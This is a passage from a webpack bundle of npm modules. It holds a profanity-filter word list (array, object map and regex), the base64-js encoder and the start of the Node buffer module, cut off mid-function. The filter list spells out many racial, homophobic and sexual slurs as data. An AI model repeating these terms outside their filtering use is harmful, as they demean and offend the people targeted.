"goatse", "God", "god-dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off", "jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob", "knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock", "kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch", "l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked", "mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings", "mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker", "motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka", "motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther", "mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah", "niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky", "nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms", "p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk", "phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis", "piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing", "pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks", "pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard", "rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat", "scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger", "shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited", "shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits", "shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank", "slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk", "s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit", "titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck", "tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty", "twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se", "wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated", "xxx"];

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/index.js":
            /*!*************************************************!*\
      !*** ./node_modules/badwords-list/lib/index.js ***!
      \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                module.exports = {
                    object: __webpack_require__(/*! ./object */ "./node_modules/badwords-list/lib/object.js"),
                    array: __webpack_require__(/*! ./array */ "./node_modules/badwords-list/lib/array.js"),
                    regex: __webpack_require__(/*! ./regexp */ "./node_modules/badwords-list/lib/regexp.js")
                };

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/object.js":
            /*!**************************************************!*\
      !*** ./node_modules/badwords-list/lib/object.js ***!
      \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = {"4r5e": 1, "5h1t": 1, "5hit": 1, "a55": 1, "anal": 1, "anus": 1, "ar5e": 1, "arrse": 1, "arse": 1, "ass": 1, "ass-fucker": 1, "asses": 1, "assfucker": 1, "assfukka": 1, "asshole": 1, "assholes": 1, "asswhole": 1, "a_s_s": 1, "b!tch": 1, "b00bs": 1, "b17ch": 1, "b1tch": 1, "ballbag": 1, "balls": 1, "ballsack": 1, "bastard": 1, "beastial": 1, "beastiality": 1, "bellend": 1, "bestial": 1, "bestiality": 1, "bi+ch": 1, "biatch": 1, "bitch": 1, "bitcher": 1, "bitchers": 1, "bitches": 1, "bitchin": 1, "bitching": 1, "bloody": 1, "blow job": 1, "blowjob": 1, "blowjobs": 1, "boiolas": 1, "bollock": 1, "bollok": 1, "boner": 1, "boob": 1, "boobs": 1, "booobs": 1, "boooobs": 1, "booooobs": 1, "booooooobs": 1, "breasts": 1, "buceta": 1, "bugger": 1, "bum": 1, "bunny fucker": 1, "butt": 1, "butthole": 1, "buttmuch": 1, "buttplug": 1, "c0ck": 1, "c0cksucker": 1, "carpet muncher": 1, "cawk": 1, "chink": 1, "cipa": 1, "cl1t": 1, "clit": 1, "clitoris": 1, "clits": 1, "cnut": 1, "cock": 1, "cock-sucker": 1, "cockface": 1, "cockhead": 1, "cockmunch": 1, "cockmuncher": 1, "cocks": 1, "cocksuck": 1, "cocksucked": 1, "cocksucker": 1, "cocksucking": 1, "cocksucks": 1, "cocksuka": 1, "cocksukka": 1, "cok": 1, "cokmuncher": 1, "coksucka": 1, "coon": 1, "cox": 1, "crap": 1, "cum": 1, "cummer": 1, "cumming": 1, "cums": 1, "cumshot": 1, "cunilingus": 1, "cunillingus": 1, "cunnilingus": 1, "cunt": 1, "cuntlick": 1, "cuntlicker": 1, "cuntlicking": 1, "cunts": 1, "cyalis": 1, "cyberfuc": 1, "cyberfuck": 1, "cyberfucked": 1, "cyberfucker": 1, "cyberfuckers": 1, "cyberfucking": 1, "d1ck": 1, "damn": 1, "dick": 1, "dickhead": 1, "dildo": 1, "dildos": 1, "dink": 1, "dinks": 1, "dirsa": 1, "dlck": 1, "dog-fucker": 1, "doggin": 1, "dogging": 1, "donkeyribber": 1, "doosh": 1, "duche": 1, "dyke": 1, "ejaculate": 1, "ejaculated": 1, "ejaculates": 1, "ejaculating": 1, "ejaculatings": 1, "ejaculation": 1, "ejakulate": 1, "f u c k": 1, "f u c k e r": 1, "f4nny": 1, "fag": 1, "fagging": 1, "faggitt": 1, "faggot": 1, "faggs": 1, "fagot": 1, "fagots": 1, "fags": 1, "fanny": 1, "fannyflaps": 1, "fannyfucker": 1, "fanyy": 1, "fatass": 1, "fcuk": 1, "fcuker": 1, "fcuking": 1, "feck": 1, "fecker": 1, "felching": 1, "fellate": 1, "fellatio": 1, "fingerfuck": 1, "fingerfucked": 1, "fingerfucker": 1, "fingerfuckers": 1, "fingerfucking": 1, "fingerfucks": 1, "fistfuck": 1, "fistfucked": 1, "fistfucker": 1, "fistfuckers": 1, "fistfucking": 1, "fistfuckings": 1, "fistfucks": 1, "flange": 1, "fook": 1, "fooker": 1, "fuck": 1, "fucka": 1, "fucked": 1, "fucker": 1, "fuckers": 1, "fuckhead": 1, "fuckheads": 1, "fuckin": 1, "fucking": 1, "fuckings": 1, "fuckingshitmotherfucker": 1, "fuckme": 1, "fucks": 1, "fuckwhit": 1, "fuckwit": 1, "fudge packer": 1, "fudgepacker": 1, "fuk": 1, "fuker": 1, "fukker": 1, "fukkin": 1, "fuks": 1, "fukwhit": 1, "fukwit": 1, "fux": 1, "fux0r": 1, "f_u_c_k": 1, "gangbang": 1, "gangbanged": 1, "gangbangs": 1, "gaylord": 1, "gaysex": 1, "goatse": 1, "God": 1, "god-dam": 1, "god-damned": 1, "goddamn": 1, "goddamned": 1, "hardcoresex": 1, "hell": 1, "heshe": 1, "hoar": 1, "hoare": 1, "hoer": 1, "homo": 1, "hore": 1, "horniest": 1, "horny": 1, "hotsex": 1, "jack-off": 1, "jackoff": 1, "jap": 1, "jerk-off": 1, "jism": 1, "jiz": 1, "jizm": 1, "jizz": 1, "kawk": 1, "knob": 1, "knobead": 1, "knobed": 1, "knobend": 1, "knobhead": 1, "knobjocky": 1, "knobjokey": 1, "kock": 1, "kondum": 1, "kondums": 1, "kum": 1, "kummer": 1, "kumming": 1, "kums": 1, "kunilingus": 1, "l3i+ch": 1, "l3itch": 1, "labia": 1, "lust": 1, "lusting": 1, "m0f0": 1, "m0fo": 1, "m45terbate": 1, "ma5terb8": 1, "ma5terbate": 1, "masochist": 1, "master-bate": 1, "masterb8": 1, "masterbat*": 1, "masterbat3": 1, "masterbate": 1, "masterbation": 1, "masterbations": 1, "masturbate": 1, "mo-fo": 1, "mof0": 1, "mofo": 1, "mothafuck": 1, "mothafucka": 1, "mothafuckas": 1, "mothafuckaz": 1, "mothafucked": 1, "mothafucker": 1, "mothafuckers": 1, "mothafuckin": 1, "mothafucking": 1, "mothafuckings": 1, "mothafucks": 1, "mother fucker": 1, "motherfuck": 1, "motherfucked": 1, "motherfucker": 1, "motherfuckers": 1, "motherfuckin": 1, "motherfucking": 1, "motherfuckings": 1, "motherfuckka": 1, "motherfucks": 1, "muff": 1, "mutha": 1, "muthafecker": 1, "muthafuckker": 1, "muther": 1, "mutherfucker": 1, "n1gga": 1, "n1gger": 1, "nazi": 1, "nigg3r": 1, "nigg4h": 1, "nigga": 1, "niggah": 1, "niggas": 1, "niggaz": 1, "nigger": 1, "niggers": 1, "nob": 1, "nob jokey": 1, "nobhead": 1, "nobjocky": 1, "nobjokey": 1, "numbnuts": 1, "nutsack": 1, "orgasim": 1, "orgasims": 1, "orgasm": 1, "orgasms": 1, "p0rn": 1, "pawn": 1, "pecker": 1, "penis": 1, "penisfucker": 1, "phonesex": 1, "phuck": 1, "phuk": 1, "phuked": 1, "phuking": 1, "phukked": 1, "phukking": 1, "phuks": 1, "phuq": 1, "pigfucker": 1, "pimpis": 1, "piss": 1, "pissed": 1, "pisser": 1, "pissers": 1, "pisses": 1, "pissflaps": 1, "pissin": 1, "pissing": 1, "pissoff": 1, "poop": 1, "porn": 1, "porno": 1, "pornography": 1, "pornos": 1, "prick": 1, "pricks": 1, "pron": 1, "pube": 1, "pusse": 1, "pussi": 1, "pussies": 1, "pussy": 1, "pussys": 1, "rectum": 1, "retard": 1, "rimjaw": 1, "rimming": 1, "s hit": 1, "s.o.b.": 1, "sadist": 1, "schlong": 1, "screwing": 1, "scroat": 1, "scrote": 1, "scrotum": 1, "semen": 1, "sex": 1, "sh!+": 1, "sh!t": 1, "sh1t": 1, "shag": 1, "shagger": 1, "shaggin": 1, "shagging": 1, "shemale": 1, "shi+": 1, "shit": 1, "shitdick": 1, "shite": 1, "shited": 1, "shitey": 1, "shitfuck": 1, "shitfull": 1, "shithead": 1, "shiting": 1, "shitings": 1, "shits": 1, "shitted": 1, "shitter": 1, "shitters": 1, "shitting": 1, "shittings": 1, "shitty": 1, "skank": 1, "slut": 1, "sluts": 1, "smegma": 1, "smut": 1, "snatch": 1, "son-of-a-bitch": 1, "spac": 1, "spunk": 1, "s_h_i_t": 1, "t1tt1e5": 1, "t1tties": 1, "teets": 1, "teez": 1, "testical": 1, "testicle": 1, "tit": 1, "titfuck": 1, "tits": 1, "titt": 1, "tittie5": 1, "tittiefucker": 1, "titties": 1, "tittyfuck": 1, "tittywank": 1, "titwank": 1, "tosser": 1, "turd": 1, "tw4t": 1, "twat": 1, "twathead": 1, "twatty": 1, "twunt": 1, "twunter": 1, "v14gra": 1, "v1gra": 1, "vagina": 1, "viagra": 1, "vulva": 1, "w00se": 1, "wang": 1, "wank": 1, "wanker": 1, "wanky": 1, "whoar": 1, "whore": 1, "willies": 1, "willy": 1, "xrated": 1, "xxx": 1};

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/regexp.js":
            /*!**************************************************!*\
      !*** ./node_modules/badwords-list/lib/regexp.js ***!
      \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi;

                /***/ }),

            /***/ "./node_modules/base64-js/index.js":
            /*!*****************************************!*\
      !*** ./node_modules/base64-js/index.js ***!
      \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                exports.byteLength = byteLength
                exports.toByteArray = toByteArray
                exports.fromByteArray = fromByteArray

                var lookup = []
                var revLookup = []
                var Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array

                var code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
                for (var i = 0, len = code.length; i < len; ++i) {
                    lookup[i] = code[i]
                    revLookup[code.charCodeAt(i)] = i
                }

                // Support decoding URL-safe base64 strings, as Node.js does.
                // See: https://en.wikipedia.org/wiki/Base64#URL_applications
                revLookup['-'.charCodeAt(0)] = 62
                revLookup['_'.charCodeAt(0)] = 63

                function getLens (b64) {
                    var len = b64.length

                    if (len % 4 > 0) {
                        throw new Error('Invalid string. Length must be a multiple of 4')
                    }

                    // Trim off extra bytes after placeholder bytes are found
                    // See: https://github.com/beatgammit/base64-js/issues/42
                    var validLen = b64.indexOf('=')
                    if (validLen === -1) validLen = len

                    var placeHoldersLen = validLen === len
                    ? 0
                    : 4 - (validLen % 4)

                    return [validLen, placeHoldersLen]
                }

                // base64 is 4/3 + up to two characters of the original data
                function byteLength (b64) {
                    var lens = getLens(b64)
                    var validLen = lens[0]
                    var placeHoldersLen = lens[1]
                    return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
                }

                function _byteLength (b64, validLen, placeHoldersLen) {
                    return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
                }

                function toByteArray (b64) {
                    var tmp
                    var lens = getLens(b64)
                    var validLen = lens[0]
                    var placeHoldersLen = lens[1]

                    var arr = new Arr(_byteLength(b64, validLen, placeHoldersLen))

                    var curByte = 0

                    // if there are placeholders, only get up to the last complete 4 chars
                    var len = placeHoldersLen > 0
                    ? validLen - 4
                    : validLen

                    var i
                    for (i = 0; i < len; i += 4) {
                        tmp =
                            (revLookup[b64.charCodeAt(i)] << 18) |
                            (revLookup[b64.charCodeAt(i + 1)] << 12) |
                            (revLookup[b64.charCodeAt(i + 2)] << 6) |
                            revLookup[b64.charCodeAt(i + 3)]
                        arr[curByte++] = (tmp >> 16) & 0xFF
                        arr[curByte++] = (tmp >> 8) & 0xFF
                        arr[curByte++] = tmp & 0xFF
                    }

                    if (placeHoldersLen === 2) {
                        tmp =
                            (revLookup[b64.charCodeAt(i)] << 2) |
                            (revLookup[b64.charCodeAt(i + 1)] >> 4)
                        arr[curByte++] = tmp & 0xFF
                    }

                    if (placeHoldersLen === 1) {
                        tmp =
                            (revLookup[b64.charCodeAt(i)] << 10) |
                            (revLookup[b64.charCodeAt(i + 1)] << 4) |
                            (revLookup[b64.charCodeAt(i + 2)] >> 2)
                        arr[curByte++] = (tmp >> 8) & 0xFF
                        arr[curByte++] = tmp & 0xFF
                    }

                    return arr
                }

                function tripletToBase64 (num) {
                    return lookup[num >> 18 & 0x3F] +
                        lookup[num >> 12 & 0x3F] +
                        lookup[num >> 6 & 0x3F] +
                        lookup[num & 0x3F]
                }

                function encodeChunk (uint8, start, end) {
                    var tmp
                    var output = []
                    for (var i = start; i < end; i += 3) {
                        tmp =
                            ((uint8[i] << 16) & 0xFF0000) +
                            ((uint8[i + 1] << 8) & 0xFF00) +
                            (uint8[i + 2] & 0xFF)
                        output.push(tripletToBase64(tmp))
                    }
                    return output.join('')
                }

                function fromByteArray (uint8) {
                    var tmp
                    var len = uint8.length
                    var extraBytes = len % 3 // if we have 1 byte left, pad 2 bytes
                    var parts = []
                    var maxChunkLength = 16383 // must be multiple of 3

                    // go through the array every three bytes, we'll deal with trailing stuff later
                    for (var i = 0, len2 = len - extraBytes; i < len2; i += maxChunkLength) {
                        parts.push(encodeChunk(
                            uint8, i, (i + maxChunkLength) > len2 ? len2 : (i + maxChunkLength)
                        ))
                    }

                    // pad the end with zeros, but make sure to not forget the extra bytes
                    if (extraBytes === 1) {
                        tmp = uint8[len - 1]
                        parts.push(
                            lookup[tmp >> 2] +
                            lookup[(tmp << 4) & 0x3F] +
                            '=='
                        )
                    } else if (extraBytes === 2) {
                        tmp = (uint8[len - 2] << 8) + uint8[len - 1]
                        parts.push(
                            lookup[tmp >> 10] +
                            lookup[(tmp >> 4) & 0x3F] +
                            lookup[(tmp << 2) & 0x3F] +
                            '='
                        )
                    }

                    return parts.join('')
                }


                /***/ }),

            /***/ "./node_modules/buffer/index.js":
            /*!**************************************!*\
      !*** ./node_modules/buffer/index.js ***!
      \**************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                /* WEBPACK VAR INJECTION */(function(global) {/*!
     * The buffer module from node.js, for the browser.
     *
     * @author   Feross Aboukhadijeh <http://feross.org>
     * @license  MIT
     */
                    /* eslint-disable no-proto */



                    var base64 = __webpack_require__(/*! base64-js */ "./node_modules/base64-js/index.js")
                    var ieee754 = __webpack_require__(/*! ieee754 */ "./node_modules/ieee754/index.js")
                    var isArray = __webpack_require__(/*! isarray */ "./node_modules/buffer/node_modules/isarray/index.js")

                    exports.Buffer = Buffer
                    exports.SlowBuffer = SlowBuffer
                    exports.INSPECT_MAX_BYTES = 50

                    /**
     * If `Buffer.TYPED_ARRAY_SUPPORT`:
     *   === true    Use Uint8Array implementation (fastest)
     *   === false   Use Object implementation (most compatible, even IE6)
     *
     * Browsers that support typed arrays are IE 10+, Firefox 4+, Chrome 7+, Safari 5.1+,
     * Opera 11.6+, iOS 4.2+.
     *
     * Due to various browser bugs, sometimes the Object implementation will be used even
     * when the browser supports typed arrays.
     *
     * Note:
     *
     *   - Firefox 4-29 lacks support for adding new properties to `Uint8Array` instances,
     *     See: https://bugzilla.mozilla.org/show_bug.cgi?id=695438.
     *
     *   - Chrome 9-10 is missing the `TypedArray.prototype.subarray` function.
     *
     *   - IE10 has a broken `TypedArray.prototype.subarray` function which returns arrays of
     *     incorrect length in some situations.

     * We detect these buggy browsers and set `Buffer.TYPED_ARRAY_SUPPORT` to `false` so they
     * get the Object implementation, which is slower but behaves correctly.
     */
                    Buffer.TYPED_ARRAY_SUPPORT = global.TYPED_ARRAY_SUPPORT !== undefined
                        ? global.TYPED_ARRAY_SUPPORT
                    : typedArraySupport()

                    /*
     * Export kMaxLength after typed array support is determined.
     */
                    exports.kMaxLength = kMaxLength()

                    function typedArraySupport () {
                        try {
                            var arr = new Uint8Array(1)
                            arr.__proto__ = {__proto__: Uint8Array.prototype, foo: function () { return 42 }}
                            return arr.foo() === 42 && // typed array instances can be augmented
                                typeof arr.subarray === 'function' && // chrome 9-10 lack `subarray`
                                arr.subarray(1, 1).byteLength === 0 // ie10 has broken `subarray`
                        } catch (e) {
                            return false
                        }
                    }

                    function kMaxLength () {
                        return Buffer.TYPED_ARRAY_SUPPORT
                            ? 0x7fffffff
                        : 0x3fffffff
                    }

                    function createBuffer (that, length) {
                        if (kMaxLength() < length) {
                            throw new RangeError('Invalid typed array length')
                        }
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            // Return an augmented `Uint8Array` instance, for best performance
                            that = new Uint8Array(length)
                            that.__proto__ = Buffer.prototype
                        } else {
                            // Fallback: Return an object instance of the Buffer class
                            if (that === null) {
                                that = new Buffer(length)
                            }
                            that.length = length
                        }

                        return that
                    }

                    /**
     * The Buffer constructor returns instances of `Uint8Array` that have their
     * prototype changed to `Buffer.prototype`. Furthermore, `Buffer` is a subclass of
     * `Uint8Array`, so the returned instances will have all the node `Buffer` methods
     * and the `Uint8Array` methods. Square bracket notation works as expected -- it
     * returns a single octet.
     *
     * The `Uint8Array` prototype remains unmodified.
     */

                    function Buffer (arg, encodingOrOffset, length) {
                        if (!Buffer.TYPED_ARRAY_SUPPORT && !(this instanceof Buffer)) {
                            return new Buffer(arg, encodingOrOffset, length)
                        }

                        // Common case.
                        if (typeof arg === 'number') {
                            if (typeof encodingOrOffset === 'string') {
                                throw new Error(
                                    'If encoding is specified then the first argument must be a string'
                                )
                            }
                            return allocUnsafe(this, arg)
                        }
                        return from(this, arg, encodingOrOffset, length)
                    }

                    Buffer.poolSize = 8192 // not used by this implementation

                    // TODO: Legacy, not needed anymore. Remove in next major version.
                    Buffer._augment = function (arr) {
                        arr.__proto__ = Buffer.prototype
                        return arr
                    }

                    function from (that, value, encodingOrOffset, length) {
                        if (typeof value === 'number') {
                            throw new TypeError('"value" argument must not be a number')
                        }

                        if (typeof ArrayBuffer !== 'undefined' && value instanceof ArrayBuffer) {
                            return fromArrayBuffer(that, value, encodingOrOffset, length)
                        }

                        if (typeof value === 'string') {
                            return fromString(that, value, encodingOrOffset)
                        }

                        return fromObject(that, value)
                    }

                    /**
     * Functionally equivalent to Buffer(arg, encoding) but throws a TypeError
     * if value is a number.
     * Buffer.from(str[, encoding])
     * Buffer.from(array)
     * Buffer.from(buffer)
     * Buffer.from(arrayBuffer[, byteOffset[, length]])
     **/
                    Buffer.from = function (value, encodingOrOffset, length) {
                        return from(null, value, encodingOrOffset, length)
                    }

                    if (Buffer.TYPED_ARRAY_SUPPORT) {
                        Buffer.prototype.__proto__ = Uint8Array.prototype
                        Buffer.__proto__ = Uint8Array
                        if (typeof Symbol !== 'undefined' && Symbol.species &&
                            Buffer[Symbol.species] === Buffer) {
                            // Fix subarray() in ES2016. See: https://github.com/feross/buffer/pull/97
                            Object.defineProperty(Buffer, Symbol.species, {
                                value: null,
                                configurable: true
                            })
                        }
                    }

                    function assertSize (size) {
                        if (typeof size !== 'number') {
                            throw new TypeError('"size" argument must be a number')
                        } else if (size < 0) {
                            throw new RangeError('"size" argument must not be negative')
                        }
                    }

                    function alloc (that, size, fill, encoding) {
                        assertSize(size)
                        if (size <= 0) {
                            return createBuffer(that, size)
                        }
                        if (fill !== undefined) {
                            // Only pay attention to encoding if it's a string. This
                            // prevents accidentally sending in a number that would
                            // be interpretted as a start offset.
                            return typeof encoding === 'string'
                                ? createBuffer(that, size).fill(fill, encoding)
                            : createBuffer(that, size).fill(fill)
                        }
                        return createBuffer(that, size)
                    }

                    /**
     * Creates a new filled Buffer instance.
     * alloc(size[, fill[, encoding]])
     **/
                    Buffer.alloc = function (size, fill, encoding) {
                        return alloc(null, size, fill, encoding)
                    }

                    function allocUnsafe (that, size) {
                        assertSize(size)
                        that = createBuffer(that, size < 0 ? 0 : checked(size) | 0)
                        if (!Buffer.TYPED_ARRAY_SUPPORT) {
                            for (var i = 0; i < size; ++i) {
                                that[i] = 0
                            }
                        }
                        return that
                    }

                    /**
     * Equivalent to Buffer(num), by default creates a non-zero-filled Buffer instance.
     * */
                    Buffer.allocUnsafe = function (size) {
                        return allocUnsafe(null, size)
                    }
                    /**
     * Equivalent to SlowBuffer(num), by default creates a non-zero-filled Buffer instance.
     */
                    Buffer.allocUnsafeSlow = function (size) {
                        return allocUnsafe(null, size)
                    }

                    function fromString (that, string, encoding) {
                        if (typeof encoding !== 'string' || encoding === '') {
                            encoding = 'utf8'
                        }

                        if (!Buffer.isEncoding(encoding)) {
                            throw new TypeError('"encoding" must be a valid string encoding')
                        }

                        var length = byteLength(string, encoding) | 0
                        that = createBuffer(that, length)

                        var actual = that.write(string, encoding)

                        if (actual !== length) {
                            // Writing a hex string, for example, that contains invalid characters will
                            // cause everything after the first invalid character to be ignored. (e.g.
                            // 'abxxcd' will be treated as 'ab')
                            that = that.slice(0, actual)
                        }

                        return that
                    }

                    function fromArrayLike (that, array) {
                        var length = array.length < 0 ? 0 : checked(array.length) | 0
                        that = createBuffer(that, length)
                        for (var i = 0; i < length; i += 1) {
                            that[i] = array[i] & 255
                        }
                        return that
                    }

                    function fromArrayBuffer (that, array, byteOffset, length) {
                        array.byteLength // this throws if `array` is not a valid ArrayBuffer

                        if (byteOffset < 0 || array.byteLength < byteOffset) {
                            throw new RangeError('\'offset\' is out of bounds')
                        }

                        if (array.byteLength < byteOffset + (length || 0)) {
                            throw new RangeError('\'length\' is out of bounds')
                        }

                        if (byteOffset === undefined && length === undefined) {
                            array = new Uint8Array(array)
                        } else if (length === undefined) {
                            array = new Uint8Array(array, byteOffset)
                        } else {
                            array = new Uint8Array(array, byteOffset, length)
                        }

                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            // Return an augmented `Uint8Array` instance, for best performance
                            that = array
                            that.__proto__ = Buffer.prototype
                        } else {
                            // Fallback: Return an object instance of the Buffer class
                            that = fromArrayLike(that, array)
                        }
                        return that
                    }

                    function fromObject (that, obj) {
                        if (Buffer.isBuffer(obj)) {
                            var len = checked(obj.length) | 0
                            that = createBuffer(that, len)

                            if (that.length === 0) {
                                return that
                            }

                            obj.copy(that, 0, 0, len)
                            return that
                        }

                        if (obj) {
                            if ((typeof ArrayBuffer !== 'undefined' &&
                                 obj.buffer instanceof ArrayBuffer) || 'length' in obj) {
                                if (typeof obj.length !== 'number' || isnan(obj.length)) {
                                    return createBuffer(that, 0)
                                }
                                return fromArrayLike(that, obj)
                            }

                            if (obj.type === 'Buffer' && isArray(obj.data)) {
                                return fromArrayLike(that, obj.data)
                            }
                        }

                        throw new TypeError('First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.')
                    }

                    function checked (length) {
                        // Note: cannot use `length < kMaxLength()` here because that fails when
                        // length is NaN (which is otherwise coerced to zero.)
                        if (length >= kMaxLength()) {
                            throw new RangeError('Attempt to allocate Buffer larger than maximum ' +
                                                 'size: 0x' + kMaxLength().toString(16) + ' bytes')
                        }
                        return length | 0
                    }

                    function SlowBuffer (length) {
                        if (+length != length) { // eslint-disable-line eqeqeq
                            length = 0
                        }
                        return Buffer.alloc(+length)
                    }

                    Buffer.isBuffer = function isBuffer (b) {
                        return !!(b != null && b._isBuffer)
                    }

                    Buffer.compare = function compare (a, b) {
                        if (!Buffer.isBuffer(a) || !Buffer.isBuffer(b)) {
                            throw new TypeError('Arguments must be Buffers')
                        }

                        if (a === b) return 0

                        var x = a.length
                        var y = b.length

                        for (var i = 0, len = Math.min(x, y); i < len; ++i) {
                            if (a[i] !== b[i]) {
